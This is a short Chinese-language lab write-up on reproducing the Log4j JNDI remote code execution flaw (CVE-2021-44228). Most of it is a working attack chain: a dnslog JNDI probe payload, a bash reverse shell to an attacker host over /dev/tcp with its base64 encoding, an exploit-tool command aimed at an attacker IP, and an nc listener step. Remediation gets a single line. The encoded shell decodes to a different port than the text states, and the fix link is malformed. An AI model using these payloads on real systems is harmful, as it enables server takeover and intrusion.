Log4j远程代码执行漏洞(CVE-2021-44228) 漏洞复现
01 漏洞描述
Apache Log4j是Apache的一个开源项目,Apache log4j2是Log4j的升级版本,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。
经验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
02 影响范围
Apache Log4j 2.x<=2.14.1
03 验证方式
已知靶场中payload参数存在漏洞问题,使用dnslog做验证,在dnslog中获得的域名
构造payload:${jndi:ldap://xxxxx.dnslog.cn/}
,将payload进行url编码之后再进行访问,可在dnslog查看到访问记录证明漏洞存在
04 利用方式
利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar反弹shell
工具下载链接:https://github.com/welk1n/JNDI-Injection-Exploit
1、将反弹shell的命令经过base64编码得到payload
bash -i >& /dev/tcp/xxx.xxx.xxx/8888 0>&1
base64编码后得到
YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC85OTk5IDA+JjE=
2、在攻击服务器上启动JNDI,起 rmi 和 Ldap 服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx.xxx
参数说明:
-C参数:执行的bash命令
-c参数:执行的具体命令,用双引号引起来
-A参数:攻击机的IP
3、在VPS上启用nc,监听8888端口,而后利用payload开始攻击,获得反弹shell
05 修复方案
请联系厂商获取修复后的官方版本:https://github.com/apache/logginglog4j2
- 点赞
- 收藏
- 关注作者
评论(0)